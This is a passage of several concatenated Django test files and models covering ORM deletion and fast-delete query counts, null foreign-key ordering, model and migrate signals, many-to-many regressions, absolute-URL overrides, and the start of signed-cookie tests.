        # TEST_SIZE // batch_size (select related `T` instances)
        # + 1 (select related `U` instances)
        # + TEST_SIZE // GET_ITERATOR_CHUNK_SIZE (delete `T` instances in batches)
        # + 1 (delete `s`)
        expected_num_queries = (ceil(TEST_SIZE // batch_size) +
                                ceil(TEST_SIZE // GET_ITERATOR_CHUNK_SIZE) + 2)

        self.assertNumQueries(expected_num_queries, s.delete)
        self.assertFalse(S.objects.exists())
        self.assertFalse(T.objects.exists())

    def test_delete_with_keeping_parents(self):
        child = RChild.objects.create()
        parent_id = child.r_ptr_id
        child.delete(keep_parents=True)
        self.assertFalse(RChild.objects.filter(id=child.id).exists())
        self.assertTrue(R.objects.filter(id=parent_id).exists())

    def test_queryset_delete_returns_num_rows(self):
        """
        QuerySet.delete() should return the number of deleted rows and a
        dictionary with the number of deletions for each object type.
        """
        Avatar.objects.bulk_create([Avatar(desc='a'), Avatar(desc='b'), Avatar(desc='c')])
        avatars_count = Avatar.objects.count()
        deleted, rows_count = Avatar.objects.all().delete()
        self.assertEqual(deleted, avatars_count)

        # more complex example with multiple object types
        r = R.objects.create()
        h1 = HiddenUser.objects.create(r=r)
        HiddenUser.objects.create(r=r)
        HiddenUserProfile.objects.create(user=h1)
        existed_objs = {
            R._meta.label: R.objects.count(),
            HiddenUser._meta.label: HiddenUser.objects.count(),
            A._meta.label: A.objects.count(),
            MR._meta.label: MR.objects.count(),
            HiddenUserProfile._meta.label: HiddenUserProfile.objects.count(),
        }
        deleted, deleted_objs = R.objects.all().delete()
        for k, v in existed_objs.items():
            self.assertEqual(deleted_objs[k], v)

    def test_model_delete_returns_num_rows(self):
        """
        Model.delete() should return the number of deleted rows and a
        dictionary with the number of deletions for each object type.
        """
        r = R.objects.create()
        h1 = HiddenUser.objects.create(r=r)
        h2 = HiddenUser.objects.create(r=r)
        HiddenUser.objects.create(r=r)
        HiddenUserProfile.objects.create(user=h1)
        HiddenUserProfile.objects.create(user=h2)
        m1 = M.objects.create()
        m2 = M.objects.create()
        MR.objects.create(r=r, m=m1)
        r.m_set.add(m1)
        r.m_set.add(m2)
        r.save()
        existed_objs = {
            R._meta.label: R.objects.count(),
            HiddenUser._meta.label: HiddenUser.objects.count(),
            A._meta.label: A.objects.count(),
            MR._meta.label: MR.objects.count(),
            HiddenUserProfile._meta.label: HiddenUserProfile.objects.count(),
            M.m2m.through._meta.label: M.m2m.through.objects.count(),
        }
        deleted, deleted_objs = r.delete()
        self.assertEqual(deleted, sum(existed_objs.values()))
        for k, v in existed_objs.items():
            self.assertEqual(deleted_objs[k], v)

    def test_proxied_model_duplicate_queries(self):
        """
        #25685 - Deleting instances of a model with existing proxy
        classes should not issue multiple queries during cascade
        deletion of referring models.
        """
        avatar = Avatar.objects.create()
        # One query for the Avatar table and a second for the User one.
        with self.assertNumQueries(2):
            avatar.delete()


class FastDeleteTests(TestCase):

    def test_fast_delete_fk(self):
        u = User.objects.create(
            avatar=Avatar.objects.create()
        )
        a = Avatar.objects.get(pk=u.avatar_id)
        # 1 query to fast-delete the user
        # 1 query to delete the avatar
        self.assertNumQueries(2, a.delete)
        self.assertFalse(User.objects.exists())
        self.assertFalse(Avatar.objects.exists())

    def test_fast_delete_m2m(self):
        t = M2MTo.objects.create()
        f = M2MFrom.objects.create()
        f.m2m.add(t)
        # 1 to delete f, 1 to fast-delete m2m for f
        self.assertNumQueries(2, f.delete)

    def test_fast_delete_revm2m(self):
        t = M2MTo.objects.create()
        f = M2MFrom.objects.create()
        f.m2m.add(t)
        # 1 to delete t, 1 to fast-delete t's m_set
        self.assertNumQueries(2, f.delete)

    def test_fast_delete_qs(self):
        u1 = User.objects.create()
        u2 = User.objects.create()
        self.assertNumQueries(1, User.objects.filter(pk=u1.pk).delete)
        self.assertEqual(User.objects.count(), 1)
        self.assertTrue(User.objects.filter(pk=u2.pk).exists())

    def test_fast_delete_joined_qs(self):
        a = Avatar.objects.create(desc='a')
        User.objects.create(avatar=a)
        u2 = User.objects.create()
        expected_queries = 1 if connection.features.update_can_self_select else 2
        self.assertNumQueries(expected_queries,
                              User.objects.filter(avatar__desc='a').delete)
        self.assertEqual(User.objects.count(), 1)
        self.assertTrue(User.objects.filter(pk=u2.pk).exists())

    def test_fast_delete_inheritance(self):
        c = Child.objects.create()
        p = Parent.objects.create()
        # 1 for self, 1 for parent
        # However, this doesn't work as child.parent access creates a query,
        # and this means we will be generating extra queries (a lot for large
        # querysets). This is not a fast-delete problem.
        # self.assertNumQueries(2, c.delete)
        c.delete()
        self.assertFalse(Child.objects.exists())
        self.assertEqual(Parent.objects.count(), 1)
        self.assertEqual(Parent.objects.filter(pk=p.pk).count(), 1)
        # 1 for self delete, 1 for fast delete of empty "child" qs.
        self.assertNumQueries(2, p.delete)
        self.assertFalse(Parent.objects.exists())
        # 1 for self delete, 1 for fast delete of empty "child" qs.
        c = Child.objects.create()
        p = c.parent_ptr
        self.assertNumQueries(2, p.delete)
        self.assertFalse(Parent.objects.exists())
        self.assertFalse(Child.objects.exists())

    def test_fast_delete_large_batch(self):
        User.objects.bulk_create(User() for i in range(0, 2000))
        # No problems here - we aren't going to cascade, so we will fast
        # delete the objects in a single query.
        self.assertNumQueries(1, User.objects.all().delete)
        a = Avatar.objects.create(desc='a')
        User.objects.bulk_create(User(avatar=a) for i in range(0, 2000))
        # We don't hit parameter amount limits for a, so just one query for
        # that + fast delete of the related objs.
        self.assertNumQueries(2, a.delete)
        self.assertEqual(User.objects.count(), 0)

    def test_fast_delete_empty_no_update_can_self_select(self):
        """
        #25932 - Fast deleting on backends that don't have the
        `no_update_can_self_select` feature should work even if the specified
        filter doesn't match any row.
        """
        with self.assertNumQueries(1):
            self.assertEqual(
                User.objects.filter(avatar__desc='missing').delete(),
                (0, {'delete.User': 0})
            )






"""
Regression tests for proper working of ForeignKey(null=True). Tests these bugs:

    * #7512: including a nullable foreign key reference in Meta ordering has
unexpected results

"""
from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


# The first two models represent a very simple null FK ordering case.
class Author(models.Model):
    name = models.CharField(max_length=150)


@python_2_unicode_compatible
class Article(models.Model):
    title = models.CharField(max_length=150)
    author = models.ForeignKey(Author, models.SET_NULL, null=True)

    def __str__(self):
        return 'Article titled: %s' % (self.title, )

    class Meta:
        ordering = ['author__name', ]


# These following 4 models represent a far more complex ordering case.
class SystemInfo(models.Model):
    system_name = models.CharField(max_length=32)


class Forum(models.Model):
    system_info = models.ForeignKey(SystemInfo, models.CASCADE)
    forum_name = models.CharField(max_length=32)


@python_2_unicode_compatible
class Post(models.Model):
    forum = models.ForeignKey(Forum, models.SET_NULL, null=True)
    title = models.CharField(max_length=32)

    def __str__(self):
        return self.title


@python_2_unicode_compatible
class Comment(models.Model):
    post = models.ForeignKey(Post, models.SET_NULL, null=True)
    comment_text = models.CharField(max_length=250)

    class Meta:
        ordering = ['post__forum__system_info__system_name', 'comment_text']

    def __str__(self):
        return self.comment_text












from __future__ import unicode_literals

from django.test import TestCase

from .models import Article, Author, Comment, Forum, Post, SystemInfo


class NullFkOrderingTests(TestCase):

    def test_ordering_across_null_fk(self):
        """
        Regression test for #7512

        ordering across nullable Foreign Keys shouldn't exclude results
        """
        author_1 = Author.objects.create(name='Tom Jones')
        author_2 = Author.objects.create(name='Bob Smith')
        Article.objects.create(title='No author on this article')
        Article.objects.create(author=author_1, title='This article written by Tom Jones')
        Article.objects.create(author=author_2, title='This article written by Bob Smith')

        # We can't compare results directly (since different databases sort NULLs to
        # different ends of the ordering), but we can check that all results are
        # returned.
        self.assertEqual(len(list(Article.objects.all())), 3)

        s = SystemInfo.objects.create(system_name='System Info')
        f = Forum.objects.create(system_info=s, forum_name='First forum')
        p = Post.objects.create(forum=f, title='First Post')
        Comment.objects.create(post=p, comment_text='My first comment')
        Comment.objects.create(comment_text='My second comment')
        s2 = SystemInfo.objects.create(system_name='More System Info')
        f2 = Forum.objects.create(system_info=s2, forum_name='Second forum')
        p2 = Post.objects.create(forum=f2, title='Second Post')
        Comment.objects.create(comment_text='Another first comment')
        Comment.objects.create(post=p2, comment_text='Another second comment')

        # We have to test this carefully. Some databases sort NULL values before
        # everything else, some sort them afterwards. So we extract the ordered list
        # and check the length. Before the fix, this list was too short (some values
        # were omitted).
        self.assertEqual(len(list(Comment.objects.all())), 4)






"""
Testing signals before/after saving and deleting.
"""
from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Person(models.Model):
    first_name = models.CharField(max_length=20)
    last_name = models.CharField(max_length=20)

    def __str__(self):
        return "%s %s" % (self.first_name, self.last_name)


@python_2_unicode_compatible
class Car(models.Model):
    make = models.CharField(max_length=20)
    model = models.CharField(max_length=20)

    def __str__(self):
        return "%s %s" % (self.make, self.model)


@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=20)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Book(models.Model):
    name = models.CharField(max_length=20)
    authors = models.ManyToManyField(Author)

    def __str__(self):
        return self.name












from __future__ import unicode_literals

from django.apps.registry import Apps
from django.db import models
from django.db.models import signals
from django.dispatch import receiver
from django.test import TestCase, mock
from django.test.utils import isolate_apps
from django.utils import six

from .models import Author, Book, Car, Person


class BaseSignalTest(TestCase):
    def setUp(self):
        # Save up the number of connected signals so that we can check at the
        # end that all the signals we register get properly unregistered (#9989)
        self.pre_signals = (
            len(signals.pre_save.receivers),
            len(signals.post_save.receivers),
            len(signals.pre_delete.receivers),
            len(signals.post_delete.receivers),
        )

    def tearDown(self):
        # Check that all our signals got disconnected properly.
        post_signals = (
            len(signals.pre_save.receivers),
            len(signals.post_save.receivers),
            len(signals.pre_delete.receivers),
            len(signals.post_delete.receivers),
        )
        self.assertEqual(self.pre_signals, post_signals)


class SignalTests(BaseSignalTest):
    def test_model_pre_init_and_post_init(self):
        data = []

        def pre_init_callback(sender, args, **kwargs):
            data.append(kwargs['kwargs'])
        signals.pre_init.connect(pre_init_callback)

        def post_init_callback(sender, instance, **kwargs):
            data.append(instance)
        signals.post_init.connect(post_init_callback)

        p1 = Person(first_name="John", last_name="Doe")
        self.assertEqual(data, [{}, p1])

    def test_save_signals(self):
        data = []

        def pre_save_handler(signal, sender, instance, **kwargs):
            data.append(
                (instance, kwargs.get("raw", False))
            )

        def post_save_handler(signal, sender, instance, **kwargs):
            data.append(
                (instance, kwargs.get("created"), kwargs.get("raw", False))
            )

        signals.pre_save.connect(pre_save_handler, weak=False)
        signals.post_save.connect(post_save_handler, weak=False)
        try:
            p1 = Person.objects.create(first_name="John", last_name="Smith")

            self.assertEqual(data, [
                (p1, False),
                (p1, True, False),
            ])
            data[:] = []

            p1.first_name = "Tom"
            p1.save()
            self.assertEqual(data, [
                (p1, False),
                (p1, False, False),
            ])
            data[:] = []

            # Calling an internal method purely so that we can trigger a "raw" save.
            p1.save_base(raw=True)
            self.assertEqual(data, [
                (p1, True),
                (p1, False, True),
            ])
            data[:] = []

            p2 = Person(first_name="James", last_name="Jones")
            p2.id = 99999
            p2.save()
            self.assertEqual(data, [
                (p2, False),
                (p2, True, False),
            ])
            data[:] = []
            p2.id = 99998
            p2.save()
            self.assertEqual(data, [
                (p2, False),
                (p2, True, False),
            ])
        finally:
            signals.pre_save.disconnect(pre_save_handler)
            signals.post_save.disconnect(post_save_handler)

    def test_delete_signals(self):
        data = []

        def pre_delete_handler(signal, sender, instance, **kwargs):
            data.append(
                (instance, instance.id is None)
            )

        # #8285: signals can be any callable
        class PostDeleteHandler(object):
            def __init__(self, data):
                self.data = data

            def __call__(self, signal, sender, instance, **kwargs):
                self.data.append(
                    (instance, instance.id is None)
                )
        post_delete_handler = PostDeleteHandler(data)

        signals.pre_delete.connect(pre_delete_handler, weak=False)
        signals.post_delete.connect(post_delete_handler, weak=False)
        try:
            p1 = Person.objects.create(first_name="John", last_name="Smith")
            p1.delete()
            self.assertEqual(data, [
                (p1, False),
                (p1, False),
            ])
            data[:] = []

            p2 = Person(first_name="James", last_name="Jones")
            p2.id = 99999
            p2.save()
            p2.id = 99998
            p2.save()
            p2.delete()
            self.assertEqual(data, [
                (p2, False),
                (p2, False)
            ])
            data[:] = []

            self.assertQuerysetEqual(
                Person.objects.all(), [
                    "James Jones",
                ],
                six.text_type
            )
        finally:
            signals.pre_delete.disconnect(pre_delete_handler)
            signals.post_delete.disconnect(post_delete_handler)

    def test_decorators(self):
        data = []

        @receiver(signals.pre_save, weak=False)
        def decorated_handler(signal, sender, instance, **kwargs):
            data.append(instance)

        @receiver(signals.pre_save, sender=Car, weak=False)
        def decorated_handler_with_sender_arg(signal, sender, instance, **kwargs):
            data.append(instance)

        try:
            c1 = Car.objects.create(make="Volkswagen", model="Passat")
            self.assertEqual(data, [c1, c1])
        finally:
            signals.pre_save.disconnect(decorated_handler)
            signals.pre_save.disconnect(decorated_handler_with_sender_arg, sender=Car)

    def test_save_and_delete_signals_with_m2m(self):
        data = []

        def pre_save_handler(signal, sender, instance, **kwargs):
            data.append('pre_save signal, %s' % instance)
            if kwargs.get('raw'):
                data.append('Is raw')

        def post_save_handler(signal, sender, instance, **kwargs):
            data.append('post_save signal, %s' % instance)
            if 'created' in kwargs:
                if kwargs['created']:
                    data.append('Is created')
                else:
                    data.append('Is updated')
            if kwargs.get('raw'):
                data.append('Is raw')

        def pre_delete_handler(signal, sender, instance, **kwargs):
            data.append('pre_delete signal, %s' % instance)
            data.append('instance.id is not None: %s' % (instance.id is not None))

        def post_delete_handler(signal, sender, instance, **kwargs):
            data.append('post_delete signal, %s' % instance)
            data.append('instance.id is not None: %s' % (instance.id is not None))

        signals.pre_save.connect(pre_save_handler, weak=False)
        signals.post_save.connect(post_save_handler, weak=False)
        signals.pre_delete.connect(pre_delete_handler, weak=False)
        signals.post_delete.connect(post_delete_handler, weak=False)
        try:
            a1 = Author.objects.create(name='Neal Stephenson')
            self.assertEqual(data, [
                "pre_save signal, Neal Stephenson",
                "post_save signal, Neal Stephenson",
                "Is created"
            ])
            data[:] = []

            b1 = Book.objects.create(name='Snow Crash')
            self.assertEqual(data, [
                "pre_save signal, Snow Crash",
                "post_save signal, Snow Crash",
                "Is created"
            ])
            data[:] = []

            # Assigning and removing to/from m2m shouldn't generate an m2m signal.
            b1.authors.set([a1])
            self.assertEqual(data, [])
            b1.authors.set([])
            self.assertEqual(data, [])
        finally:
            signals.pre_save.disconnect(pre_save_handler)
            signals.post_save.disconnect(post_save_handler)
            signals.pre_delete.disconnect(pre_delete_handler)
            signals.post_delete.disconnect(post_delete_handler)

    def test_disconnect_in_dispatch(self):
        """
        Test that signals that disconnect when being called don't mess future
        dispatching.
        """

        class Handler(object):
            def __init__(self, param):
                self.param = param
                self._run = False

            def __call__(self, signal, sender, **kwargs):
                self._run = True
                signal.disconnect(receiver=self, sender=sender)

        a, b = Handler(1), Handler(2)
        signals.post_save.connect(a, sender=Person, weak=False)
        signals.post_save.connect(b, sender=Person, weak=False)
        Person.objects.create(first_name='John', last_name='Smith')

        self.assertTrue(a._run)
        self.assertTrue(b._run)
        self.assertEqual(signals.post_save.receivers, [])

    @mock.patch('weakref.ref')
    def test_lazy_model_signal(self, ref):
        def callback(sender, args, **kwargs):
            pass
        signals.pre_init.connect(callback)
        signals.pre_init.disconnect(callback)
        self.assertTrue(ref.called)
        ref.reset_mock()

        signals.pre_init.connect(callback, weak=False)
        signals.pre_init.disconnect(callback)
        ref.assert_not_called()


class LazyModelRefTest(BaseSignalTest):
    def setUp(self):
        super(LazyModelRefTest, self).setUp()
        self.received = []

    def receiver(self, **kwargs):
        self.received.append(kwargs)

    def test_invalid_sender_model_name(self):
        msg = "Invalid model reference 'invalid'. String model references must be of the form 'app_label.ModelName'."
        with self.assertRaisesMessage(ValueError, msg):
            signals.post_init.connect(self.receiver, sender='invalid')

    def test_already_loaded_model(self):
        signals.post_init.connect(
            self.receiver, sender='signals.Book', weak=False
        )
        try:
            instance = Book()
            self.assertEqual(self.received, [{
                'signal': signals.post_init,
                'sender': Book,
                'instance': instance
            }])
        finally:
            signals.post_init.disconnect(self.receiver, sender=Book)

    @isolate_apps('signals', kwarg_name='apps')
    def test_not_loaded_model(self, apps):
        signals.post_init.connect(
            self.receiver, sender='signals.Created', weak=False, apps=apps
        )

        try:
            class Created(models.Model):
                pass

            instance = Created()
            self.assertEqual(self.received, [{
                'signal': signals.post_init, 'sender': Created, 'instance': instance
            }])
        finally:
            signals.post_init.disconnect(self.receiver, sender=Created)

    @isolate_apps('signals', kwarg_name='apps')
    def test_disconnect(self, apps):
        received = []

        def receiver(**kwargs):
            received.append(kwargs)

        signals.post_init.connect(receiver, sender='signals.Created', apps=apps)
        signals.post_init.disconnect(receiver, sender='signals.Created', apps=apps)

        class Created(models.Model):
            pass

        Created()
        self.assertEqual(received, [])

    def test_register_model_class_senders_immediately(self):
        """
        Model signals registered with model classes as senders don't use the
        Apps.lazy_model_operation() mechanism.
        """
        # Book isn't registered with apps2, so it will linger in
        # apps2._pending_operations if ModelSignal does the wrong thing.
        apps2 = Apps()
        signals.post_init.connect(self.receiver, sender=Book, apps=apps2)
        self.assertEqual(list(apps2._pending_operations), [])






from django.contrib.auth import models as auth
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


# No related name is needed here, since symmetrical relations are not
# explicitly reversible.
@python_2_unicode_compatible
class SelfRefer(models.Model):
    name = models.CharField(max_length=10)
    references = models.ManyToManyField('self')
    related = models.ManyToManyField('self')

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Tag(models.Model):
    name = models.CharField(max_length=10)

    def __str__(self):
        return self.name


# Regression for #11956 -- a many to many to the base class
@python_2_unicode_compatible
class TagCollection(Tag):
    tags = models.ManyToManyField(Tag, related_name='tag_collections')

    def __str__(self):
        return self.name


# A related_name is required on one of the ManyToManyField entries here because
# they are both addressable as reverse relations from Tag.
@python_2_unicode_compatible
class Entry(models.Model):
    name = models.CharField(max_length=10)
    topics = models.ManyToManyField(Tag)
    related = models.ManyToManyField(Tag, related_name="similar")

    def __str__(self):
        return self.name


# Two models both inheriting from a base model with a self-referential m2m field
class SelfReferChild(SelfRefer):
    pass


class SelfReferChildSibling(SelfRefer):
    pass


# Many-to-Many relation between models, where one of the PK's isn't an Autofield
@python_2_unicode_compatible
class Line(models.Model):
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name


class Worksheet(models.Model):
    id = models.CharField(primary_key=True, max_length=100)
    lines = models.ManyToManyField(Line, blank=True)


# Regression for #11226 -- A model with the same name that another one to
# which it has a m2m relation. This shouldn't cause a name clash between
# the automatically created m2m intermediary table FK field names when
# running migrate
class User(models.Model):
    name = models.CharField(max_length=30)
    friends = models.ManyToManyField(auth.User)


class BadModelWithSplit(models.Model):
    name = models.CharField(max_length=1)

    def split(self):
        raise RuntimeError('split should not be called')

    class Meta:
        abstract = True


class RegressionModelSplit(BadModelWithSplit):
    """
    Model with a split method should not cause an error in add_lazy_relation
    """
    others = models.ManyToManyField('self')


# Regression for #24505 -- Two ManyToManyFields with the same "to" model
# and related_name set to '+'.
class Post(models.Model):
    primary_lines = models.ManyToManyField(Line, related_name='+')
    secondary_lines = models.ManyToManyField(Line, related_name='+')












from __future__ import unicode_literals

from django.core.exceptions import FieldError
from django.test import TestCase
from django.utils import six

from .models import (
    Entry, Line, Post, RegressionModelSplit, SelfRefer, SelfReferChild,
    SelfReferChildSibling, Tag, TagCollection, Worksheet,
)


class M2MRegressionTests(TestCase):
    def test_multiple_m2m(self):
        # Multiple m2m references to model must be distinguished when
        # accessing the relations through an instance attribute.

        s1 = SelfRefer.objects.create(name='s1')
        s2 = SelfRefer.objects.create(name='s2')
        s3 = SelfRefer.objects.create(name='s3')
        s1.references.add(s2)
        s1.related.add(s3)

        e1 = Entry.objects.create(name='e1')
        t1 = Tag.objects.create(name='t1')
        t2 = Tag.objects.create(name='t2')

        e1.topics.add(t1)
        e1.related.add(t2)

        self.assertQuerysetEqual(s1.references.all(), ["<SelfRefer: s2>"])
        self.assertQuerysetEqual(s1.related.all(), ["<SelfRefer: s3>"])

        self.assertQuerysetEqual(e1.topics.all(), ["<Tag: t1>"])
        self.assertQuerysetEqual(e1.related.all(), ["<Tag: t2>"])

    def test_internal_related_name_not_in_error_msg(self):
        # The secret internal related names for self-referential many-to-many
        # fields shouldn't appear in the list when an error is made.

        six.assertRaisesRegex(
            self, FieldError,
            "Choices are: id, name, references, related, selfreferchild, selfreferchildsibling$",
            lambda: SelfRefer.objects.filter(porcupine='fred')
        )

    def test_m2m_inheritance_symmetry(self):
        # Test to ensure that the relationship between two inherited models
        # with a self-referential m2m field maintains symmetry

        sr_child = SelfReferChild(name="Hanna")
        sr_child.save()

        sr_sibling = SelfReferChildSibling(name="Beth")
        sr_sibling.save()
        sr_child.related.add(sr_sibling)

        self.assertQuerysetEqual(sr_child.related.all(), ["<SelfRefer: Beth>"])
        self.assertQuerysetEqual(sr_sibling.related.all(), ["<SelfRefer: Hanna>"])

    def test_m2m_pk_field_type(self):
        # Regression for #11311 - The primary key for models in a m2m relation
        # doesn't have to be an AutoField

        w = Worksheet(id='abc')
        w.save()
        w.delete()

    def test_add_m2m_with_base_class(self):
        # Regression for #11956 -- You can add an object to a m2m with the
        # base class without causing integrity errors

        t1 = Tag.objects.create(name='t1')
        t2 = Tag.objects.create(name='t2')

        c1 = TagCollection.objects.create(name='c1')
        c1.tags.set([t1, t2])
        c1 = TagCollection.objects.get(name='c1')

        self.assertQuerysetEqual(c1.tags.all(), ["<Tag: t1>", "<Tag: t2>"], ordered=False)
        self.assertQuerysetEqual(t1.tag_collections.all(), ["<TagCollection: c1>"])

    def test_manager_class_caching(self):
        e1 = Entry.objects.create()
        e2 = Entry.objects.create()
        t1 = Tag.objects.create()
        t2 = Tag.objects.create()

        # Get same manager twice in a row:
        self.assertIs(t1.entry_set.__class__, t1.entry_set.__class__)
        self.assertIs(e1.topics.__class__, e1.topics.__class__)

        # Get same manager for different instances
        self.assertIs(e1.topics.__class__, e2.topics.__class__)
        self.assertIs(t1.entry_set.__class__, t2.entry_set.__class__)

    def test_m2m_abstract_split(self):
        # Regression for #19236 - an abstract class with a 'split' method
        # causes a TypeError in add_lazy_relation
        m1 = RegressionModelSplit(name='1')
        m1.save()

    def test_assigning_invalid_data_to_m2m_doesnt_clear_existing_relations(self):
        t1 = Tag.objects.create(name='t1')
        t2 = Tag.objects.create(name='t2')
        c1 = TagCollection.objects.create(name='c1')
        c1.tags.set([t1, t2])

        with self.assertRaises(TypeError):
            c1.tags.set(7)

        c1.refresh_from_db()
        self.assertQuerysetEqual(c1.tags.order_by('name'), ["<Tag: t1>", "<Tag: t2>"])

    def test_multiple_forwards_only_m2m(self):
        # Regression for #24505 - Multiple ManyToManyFields to same "to"
        # model with related_name set to '+'.
        foo = Line.objects.create(name='foo')
        bar = Line.objects.create(name='bar')
        post = Post.objects.create()
        post.primary_lines.add(foo)
        post.secondary_lines.add(bar)
        self.assertQuerysetEqual(post.primary_lines.all(), ['<Line: foo>'])
        self.assertQuerysetEqual(post.secondary_lines.all(), ['<Line: bar>'])






# This module has to exist, otherwise pre/post_migrate aren't sent for the
# migrate_signals application.












from django.apps import apps
from django.core import management
from django.db import migrations
from django.db.models import signals
from django.test import TransactionTestCase, override_settings
from django.utils import six

APP_CONFIG = apps.get_app_config('migrate_signals')
SIGNAL_ARGS = ['app_config', 'verbosity', 'interactive', 'using', 'plan', 'apps']
MIGRATE_DATABASE = 'default'
MIGRATE_VERBOSITY = 1
MIGRATE_INTERACTIVE = False


class Receiver(object):
    def __init__(self, signal):
        self.call_counter = 0
        self.call_args = None
        signal.connect(self, sender=APP_CONFIG)

    def __call__(self, signal, sender, **kwargs):
        self.call_counter += 1
        self.call_args = kwargs


class OneTimeReceiver(object):
    """
    Special receiver for handle the fact that test runner calls migrate for
    several databases and several times for some of them.
    """

    def __init__(self, signal):
        self.signal = signal
        self.call_counter = 0
        self.call_args = None
        self.signal.connect(self, sender=APP_CONFIG)

    def __call__(self, signal, sender, **kwargs):
        # Although test runner calls migrate for several databases,
        # testing for only one of them is quite sufficient.
        if kwargs['using'] == MIGRATE_DATABASE:
            self.call_counter += 1
            self.call_args = kwargs
            # we need to test only one call of migrate
            self.signal.disconnect(self, sender=APP_CONFIG)


# We connect receiver here and not in unit test code because we need to
# connect receiver before test runner creates database.  That is, sequence of
# actions would be:
#
#   1. Test runner imports this module.
#   2. We connect receiver.
#   3. Test runner calls migrate for create default database.
#   4. Test runner execute our unit test code.
pre_migrate_receiver = OneTimeReceiver(signals.pre_migrate)
post_migrate_receiver = OneTimeReceiver(signals.post_migrate)


class MigrateSignalTests(TransactionTestCase):

    available_apps = ['migrate_signals']

    def test_call_time(self):
        self.assertEqual(pre_migrate_receiver.call_counter, 1)
        self.assertEqual(post_migrate_receiver.call_counter, 1)

    def test_args(self):
        pre_migrate_receiver = Receiver(signals.pre_migrate)
        post_migrate_receiver = Receiver(signals.post_migrate)
        management.call_command(
            'migrate', database=MIGRATE_DATABASE, verbosity=MIGRATE_VERBOSITY,
            interactive=MIGRATE_INTERACTIVE, stdout=six.StringIO(),
        )

        for receiver in [pre_migrate_receiver, post_migrate_receiver]:
            args = receiver.call_args
            self.assertEqual(receiver.call_counter, 1)
            self.assertEqual(set(args), set(SIGNAL_ARGS))
            self.assertEqual(args['app_config'], APP_CONFIG)
            self.assertEqual(args['verbosity'], MIGRATE_VERBOSITY)
            self.assertEqual(args['interactive'], MIGRATE_INTERACTIVE)
            self.assertEqual(args['using'], 'default')
            self.assertEqual(args['plan'], [])
            self.assertIsInstance(args['apps'], migrations.state.StateApps)

    @override_settings(MIGRATION_MODULES={'migrate_signals': 'migrate_signals.custom_migrations'})
    def test_migrations_only(self):
        """
        If all apps have migrations, migration signals should be sent.
        """
        pre_migrate_receiver = Receiver(signals.pre_migrate)
        post_migrate_receiver = Receiver(signals.post_migrate)
        stdout = six.StringIO()
        management.call_command(
            'migrate', database=MIGRATE_DATABASE, verbosity=MIGRATE_VERBOSITY,
            interactive=MIGRATE_INTERACTIVE, stdout=stdout,
        )
        for receiver in [pre_migrate_receiver, post_migrate_receiver]:
            args = receiver.call_args
            self.assertEqual(receiver.call_counter, 1)
            self.assertEqual(set(args), set(SIGNAL_ARGS))
            self.assertEqual(args['app_config'], APP_CONFIG)
            self.assertEqual(args['verbosity'], MIGRATE_VERBOSITY)
            self.assertEqual(args['interactive'], MIGRATE_INTERACTIVE)
            self.assertEqual(args['using'], 'default')
            self.assertIsInstance(args['plan'][0][0], migrations.Migration)
            # The migration isn't applied backward.
            self.assertFalse(args['plan'][0][1])
            self.assertIsInstance(args['apps'], migrations.state.StateApps)
        self.assertEqual(pre_migrate_receiver.call_args['apps'].get_models(), [])
        self.assertEqual(
            [model._meta.label for model in post_migrate_receiver.call_args['apps'].get_models()],
            ['migrate_signals.Signal']
        )






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    operations = [
        migrations.CreateModel(
            "Signal",
            [
                ("id", models.AutoField(primary_key=True)),
            ],
        ),
    ]


















from django.db import models
from django.test import SimpleTestCase
from django.test.utils import isolate_apps


@isolate_apps('absolute_url_overrides')
class AbsoluteUrlOverrideTests(SimpleTestCase):

    def test_get_absolute_url(self):
        """
        get_absolute_url() functions as a normal method.
        """
        def get_absolute_url(o):
            return '/test-a/%s/' % o.pk
        TestA = self._create_model_class('TestA', get_absolute_url)

        self.assertTrue(hasattr(TestA, 'get_absolute_url'))
        obj = TestA(pk=1, name='Foo')
        self.assertEqual('/test-a/%s/' % obj.pk, obj.get_absolute_url())

    def test_override_get_absolute_url(self):
        """
        ABSOLUTE_URL_OVERRIDES should override get_absolute_url().
        """
        def get_absolute_url(o):
            return '/test-b/%s/' % o.pk
        with self.settings(
            ABSOLUTE_URL_OVERRIDES={
                'absolute_url_overrides.testb': lambda o: '/overridden-test-b/%s/' % o.pk,
            },
        ):
            TestB = self._create_model_class('TestB', get_absolute_url)
            obj = TestB(pk=1, name='Foo')
            self.assertEqual('/overridden-test-b/%s/' % obj.pk, obj.get_absolute_url())

    def test_insert_get_absolute_url(self):
        """
        ABSOLUTE_URL_OVERRIDES should work even if the model doesn't have a
        get_absolute_url() method.
        """
        with self.settings(
            ABSOLUTE_URL_OVERRIDES={
                'absolute_url_overrides.testc': lambda o: '/test-c/%s/' % o.pk,
            },
        ):
            TestC = self._create_model_class('TestC')
            obj = TestC(pk=1, name='Foo')
            self.assertEqual('/test-c/%s/' % obj.pk, obj.get_absolute_url())

    def _create_model_class(self, class_name, get_absolute_url_method=None):
        attrs = {
            'name': models.CharField(max_length=50),
            '__module__': 'absolute_url_overrides',
        }
        if get_absolute_url_method:
            attrs['get_absolute_url'] = get_absolute_url_method

        return type(class_name, (models.Model,), attrs)












from __future__ import unicode_literals

from django.core import signing
from django.http import HttpRequest, HttpResponse
from django.test import SimpleTestCase, override_settings
from django.test.utils import freeze_time


class SignedCookieTest(SimpleTestCase):

    def test_can_set_and_read_signed_cookies(self):
        response = HttpResponse()
        response.set_signed_cookie('c', 'hello')
        self.assertIn('c', response.cookies)
        self.assertTrue(response.cookies['c'].value.startswith('hello:'))
        request = HttpRequest()
        request.COOKIES['c'] = response.cookies['c'].value
        value = request.get_signed_cookie('c')
        self.assertEqual(value, 'hello')

    def test_can_use_salt(self):
        response = HttpResponse()
        response.set_signed_cookie('a', 'hello', salt='one')
        request = HttpRequest()
        request.COOKIES['a'] = response.cookies['a'].value
        value = request.get_signed_cookie('a', salt='one')
        self.assertEqual(value, 'hello')
        with self.assertRaises(signing.BadSignature):
            request.get_signed_cookie('a', salt='two')

    def test_detects_tampering(self):
        response = HttpResponse()
